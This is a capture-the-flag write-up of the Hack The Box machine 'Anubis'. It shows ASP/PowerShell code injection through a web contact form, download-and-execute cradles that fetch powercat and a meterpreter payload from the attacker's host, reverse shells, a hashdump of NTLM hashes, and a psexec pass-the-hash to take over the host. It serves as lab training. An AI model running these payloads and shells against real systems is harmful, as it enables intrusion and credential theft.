Link: https://app.hackthebox.eu/machines/anubis

NOTE: The creator of the box stated the pass the hash attack where the Administrator account reused the password of the container’s iisadmin account was unintended and this method for root has been patched, mere hours after I solved. Sometime in the future I would like to retry and figure out the proper way to get system, as intended.

Enumeration

Our nmap scan returned 5 open ports, 3 for Windows RPC and a SSL web server.

Web Server

If we try to access the webserver, we get a security risk error and the website says not found. Inspecting the SSL certificate shows the cert is for www.windcorp.htb. We can modify our hosts file to match this. And upon doing so:

Voila, we have a website. It appears to be a boilerplate bootstrap one-page business template. Using gobuster with -k to bypass the SSL certificate issue only nets us /assets and /forms.

Using -x "txt" also finds a changelog.txt and a README.txt which seems to be about the template.

When trying to access these directly, it’s a blank page: so no directory indexing. Inspecting network requests, we can see this server is running on Microsoft IIS v 10.0 and is using ASP session cookies.

Also very useful to note is that we have a contact form. Submitting data performs a GET request to /save.asp. Also very worth noting is that whatever we send in the form is then echoed back on the page to us on /preview.asp before it sends. Let’s test and see if we can do any injection into this form:

It appears we can. I’m not sure this actually matters, we cannot really do anything with XSS, and the form never actually does a POST request. It just does the GET to /save then echos that out on /preview.

We can also, notably, execute ASP code such as

<%
     Response.Write("Hello World!")
 %>

Further playing around shows we can run PowerShell commands

<%response.write CreateObject("WScript.Shell").Exec("powershell.exe  -command ""whoami"" ").StdOut.Readall()%>

Getting Reverse Shell

Next, I downloaded powercat and started a python server

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

python3 -m http.server

Then we can submit a script using the contact form to grab the file and download it to the admin desktop

<%response.write CreateObject("WScript.Shell").Exec("powershell.exe -executionpolicy bypass -noexit -Command ""IEX(New-Object System.Net.WebClient).DownloadFile('http://10.10.x.x:8000/powercat/powercat.ps1', 'C:\Users\Administrator\Desktop\powercat.ps1')"" ").StdOut.Readall()%>

I verified the file existed by running:

<%response.write CreateObject("WScript.Shell").Exec("powershell.exe -executionpolicy bypass -Command ""dir C:\Users\Administrator\Desktop"" ").StdOut.Readall()%>

And it does:

Now we can run it with:

<%response.write CreateObject("WScript.Shell").Exec("powershell.exe -executionpolicy bypass -noexit -command ""cd C:\Users\Administrator\Desktop; . .\powercat.ps1; powercat -c 10.10.14.163 -p 4444 -ep "" ").StdOut.Readall()%>

and voila! we get a PowerShell shell running as nt authority\system!

Exploration

Now we need to actually find the system and user flags, which seem to be harder to find.

On the admin desktop, we do have a certificate request. I verified this online and found it is for softwareportal.windcorp.htb:

But that doesn’t really seem to help us.

I read the file at C:\Users\ContainerAdministrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt but it did not seem to help either. It shows the setting up of the web server but nothing about flags.

I started doing an investigation because I had never seen ContainerAdministrator before, and it turns out we are in a container and would need to break out in order to grab the flags.

Browsing around the ContainerAdministrator directory, we can find a ./ssh/known_hosts which contains the following:

192.168.66.3 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGUobz+s+TDcuqCZNX5rFUE2Wse501X8g6qNUIRx6pVkVXvgAp8dMPdqsUytg3x4t7N85nbSHVHY/uVYrzpRuEM=

But attempting to ping this does nothing. Running an ipconfig we can see we have a new IP range. Our box is 172.106.88:

I also attempted to ping google.com but it cannot find the host so we do not have internet access on this machine.

Running systeminfo tells us that we are in a VMWare Virtual Machine that’s running Windows Server 2019.

My script timed out here so I got another shell with PowerCat and generated a meterpreter shell this time to help keep the connection:

# my machine
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.x.x LPORT=4443 -f exe > shell.exe
python3 -m http.server

# I then re-connected same as above to get a regular powershell listener 
# then ran this on the target machine
Invoke-WebRequest -Uri http://10.10.x.x:8000/shell.exe -OutFile C:\Users\Administrator\Desktop\shell.exe

# back on my machine
msfconsole
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 10.10.x.x
set LPORT 4443
run

# now back on the target
.\shell.exe

I killed the nc listener and we are running in the shell on meterpreter.

Pass the Hash

Next, we can see if we can grab any local admin hashes and do a PtH attack

meterpreter> run /post/windows/gather/hashdump
[] Obtaining the boot key… [] Calculating the hboot key using SYSKEY 5a643d8809670c7b4f21c9cd9da85097…
 [] Obtaining the user list and keys… [] Decrypting user keys…
 [*] Dumping password hints…
 No users with password hints on this system
 [*] Dumping password hashes…

Administrator:500:aad3b435b51404eeaad3b435b51404ee:525a8625a410e103120a55684d31ca1f:::
 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 iisadmin:1000:aad3b435b51404eeaad3b435b51404ee:083feb16c35174cb0f0cae63f34d5b7b:::

With the hashes, I can see the hashes for two admin accounts! Let’s try using Psexec to pass the hash

msf6 > use exploit/windows/smb/psexec 
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp 
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.x.x 
msf6 exploit(windows/smb/psexec) > set LPORT 4443 
msf6 exploit(windows/smb/psexec) > set RHOST 10.129.135.137
msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:083feb16c35174cb0f0cae63f34d5b7b
msf6 exploit(windows/smb/psexec) > exploit

After some trial and error, it turns out the container’s iisadmin hashes are re-used as the actual box’s Administrator account!

Finally, we are on the machine itself and not the container. We are still running as nt authority\system. We can find the system flag on the Administrator desktop and the user flag on diegocruz‘s desktop!

Conclusion

While the containerization through me off, this box did not really seem to be insane difficulty to me. It was just a matter of using a form with no input validation for the first shell, grabbing the hashes, and the admin reused a password that allows that hash to work and grant us access back to the main machine. I’ve been looking up some forum posts on this box, while it is still pretty new, people have been suggesting this may have been unintentional and the intended way is to pivot from the container. Luckily this unintended way works!

EDIT: The pass the hash was proven unintended and patched roughly 6 hours after I completed the box. Sometime I will do a pt 2 where I redo the box using the intended way!